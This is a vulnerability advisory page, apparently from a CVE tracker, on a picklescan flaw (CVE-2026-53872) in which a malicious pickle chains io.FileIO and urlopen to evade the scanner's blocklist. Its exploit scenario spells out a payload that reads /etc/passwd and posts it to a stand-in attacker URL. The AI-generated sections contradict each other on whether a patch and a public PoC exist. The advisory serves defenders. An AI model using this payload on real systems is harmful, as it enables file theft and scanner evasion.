Skip to main content

picklescan CVE-2026-53872

HIGH
Path Traversal (CWE-22)
2026-06-17 VulnCheck
8.7
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Craft malicious pickle with io.FileIO + urlopen reduce chain
  2. Delivery
    Publish pickle to model hub or supply to victim pipeline
  3. Exploit
    Victim runs picklescan < 0.0.35 on file
  4. Install
    Blocklist misses non-RCE primitives
  5. C2
    Unpickling opens /etc/passwd via io.FileIO
  6. Execute
    urllib.request.urlopen POSTs file contents to attacker URL
  7. Impact
    Sensitive data exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that a victim system run picklescan < 0.0.35 against an attacker-controlled pickle file and that the host have outbound network connectivity to the attacker's URL for the urllib.request.urlopen leg of the chain; no authentication, user interaction beyond invoking the scanner, or non-default configuration is needed. Limiting factors: the attacker must be able to deliver a pickle into the scanning workflow (e.g., via a public model hub, shared artifact repo, or user upload), the scanner host must be able to reach the exfiltration endpoint (egress filtering blocks the SSRF/exfil step), and the target file path must be readable by the user running the scanner.

Impact

The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N gives an 8.7 score driven entirely by VC:H, with VI and VA at N - accurate, because the bug yields confidentiality loss (file read and SSRF) but not direct integrity or availability impact. EPSS and CISA KEV data were not supplied in the inputs, so widespread mass-exploitation probability is unknown; however, the GHSA advisory publishes a working PoC, so weaponization cost is effectively zero for anyone scanning attacker-supplied pickles. Real-world risk is concentrated on ML platforms and CI pipelines that ingest third-party pickle artifacts and rely on picklescan as a gate - for those operators this is a high priority because the tool fails open on a class of payloads it is explicitly trusted to block. For users who only scan trusted internal artifacts, the practical exposure is much lower despite the high base score.

Exploit ScenarioDerived

An attacker uploads a malicious .pkl file (for example, as part of a model repository on a public ML hub) whose __reduce__ method returns urllib.request.urlopen('https://attacker.example/collect', io.FileIO('/etc/passwd','r')). When a downstream user or automated pipeline runs picklescan against the file expecting a safe/unsafe verdict, the scanner's deserialization path executes the chain and streams the target file to the attacker's webhook. A working PoC is published in the GHSA advisory, so the barrier to weaponization is effectively nil.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 17, 2026

Arbitrary file read in picklescan versions before 0.0.35 allows remote unauthenticated attackers to exfiltrate sensitive server files by abusing standard-library callables that the tool's RCE-focused blocklist fails to detect. By chaining io.FileIO and urllib.request.urlopen inside a malicious pickle, an attacker can stream contents of files such as /etc/passwd to an attacker-controlled URL when the scanner processes untrusted model artifacts. Publicly available exploit code exists in the GHSA advisory, but there is no public exploit identified at time of analysis in the form of in-the-wild abuse.

RemediationAI

Vendor-released patch: picklescan 0.0.35 - upgrade via pip install --upgrade 'picklescan>=0.0.35' and rebuild any container images, CI workers, or Hugging Face integration services that bundle the library. The upstream fix is tracked in PR https://github.com/mmaitre314/picklescan/pull/55 and commit a01c58d5dd7960db557b849817c0ab83ab111ef1, referenced from the GHSA advisory at https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr. Until the upgrade is rolled out, do not rely on picklescan's verdict alone for untrusted pickles: run scans inside a sandbox or container with no network egress and a minimal filesystem (so urllib.request.urlopen cannot reach the internet and io.FileIO has nothing sensitive to read), or block outbound HTTP from the scanner host at the network layer - the trade-off is that legitimate scanner functionality is unaffected but you lose visibility if you also need the scanner to fetch remote artifacts.

Affected Packages

pypi picklescan fix: 0.0.35

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

picklescan is a Python package (pip/picklescan, CPE cpe:2.3:a:picklescan:picklescan:*) designed to statically scan pickle files - commonly distributed with ML models on Hugging Face and similar hubs - for unsafe deserialization payloads. The vulnerability is rooted in CWE-22 (Path Traversal) combined with unsafe pickle deserialization: the scanner's allow/block heuristics focus on classic RCE primitives (os, subprocess, builtins.exec) and miss io.FileIO, which opens arbitrary local files without going through builtins.open, and urllib.request.urlopen, which accepts a file-like iterable as a POST body. Chaining them inside __reduce__ produces a pickle whose unpickling reads a chosen path and ships it to an external HTTP endpoint, defeating the scanner's purpose of declaring such files safe.

Know when Picklescan gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
vuln.today AI 6.5 MEDIUM

Remote attacker delivers a pickle but a user/automation must invoke the scanner on it (UI:R); no auth needed; only confidentiality impact via arbitrary file read.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.

Executive ViewAI

Why It Matters

picklescan versions before 0.0.35 contain an arbitrary file read vulnerability allowing unauthenticated attackers to exfiltrate sensitive server files; publicly available exploit code exists. Organizations deploying picklescan in model processing pipelines face risk of exposure of credentials and configuration data when processing untrusted machine learning artifacts. Immediate mitigation is required as no vendor patch is currently available.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Compensating controls: Restrict picklescan to trusted model sources; implement network-layer egress filtering to block external outbound connections from picklescan processes; apply principle of least privilege to picklescan service accounts; monitor logs for unauthorized file access and unexpected outbound connection attempts; isolate picklescan processing environment with restricted file system access.

Threat Intelligence Overview

EPSS Score
0.5%
Top 61% exploitable
Social Media
1
Sightings
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Affected Products (CPE)CVE.org

cpe:2.3:a:picklescan:picklescan:*:*:*:*:*:*:*:*
CVE-2026-3490 CRITICAL POC
10.0 Jun 17

Remote code execution against users of picklescan versions prior to 1.0.4 is achievable by smuggling any blocked functio

CVE-2025-10156 CRITICAL POC
9.3 Sep 17

An Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 pickles

CVE-2025-10157 CRITICAL POC
9.3 Sep 17

A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remot

CVE-2025-10155 CRITICAL POC
9.3 Sep 17

An Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0

CVE-2025-71341 HIGH POC
7.6 Jun 23

Detection bypass in picklescan prior to 0.0.29 allows attackers to smuggle remote code execution payloads through pickle

CVE-2025-71351 HIGH POC
7.6 Jun 21

Detection bypass in picklescan versions before 0.0.25 allows attackers to embed remote code execution payloads in pickle

CVE-2025-71370 HIGH POC
7.6 Jun 23

Detection bypass in picklescan before 0.0.28 allows attackers to embed malicious torch.jit.unsupported_tensor_ops.execWr

CVE-2025-71348 HIGH POC
7.6 Jun 21

Detection bypass in picklescan before 0.0.28 allows attackers to smuggle arbitrary code through pickle files by abusing

CVE-2025-71361 HIGH POC
7.6 Jun 24

Detection bypass in picklescan before 0.0.29 allows malicious pickle files to evade scanning by abusing the undetected i

CVE-2025-71378 HIGH POC
7.6 Jun 21

Detection bypass in picklescan versions before 0.0.30 allows malicious pickle files to evade security scanning by using

CVE-2025-71376 HIGH POC
7.6 Jun 23

Detection bypass in picklescan versions prior to 0.0.29 allows attackers to smuggle arbitrary code execution payloads th

CVE-2025-71365 HIGH POC
7.6 Jun 23

Detection bypass in picklescan before 0.0.33 allows attackers to smuggle arbitrary code through malicious pickle files b

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy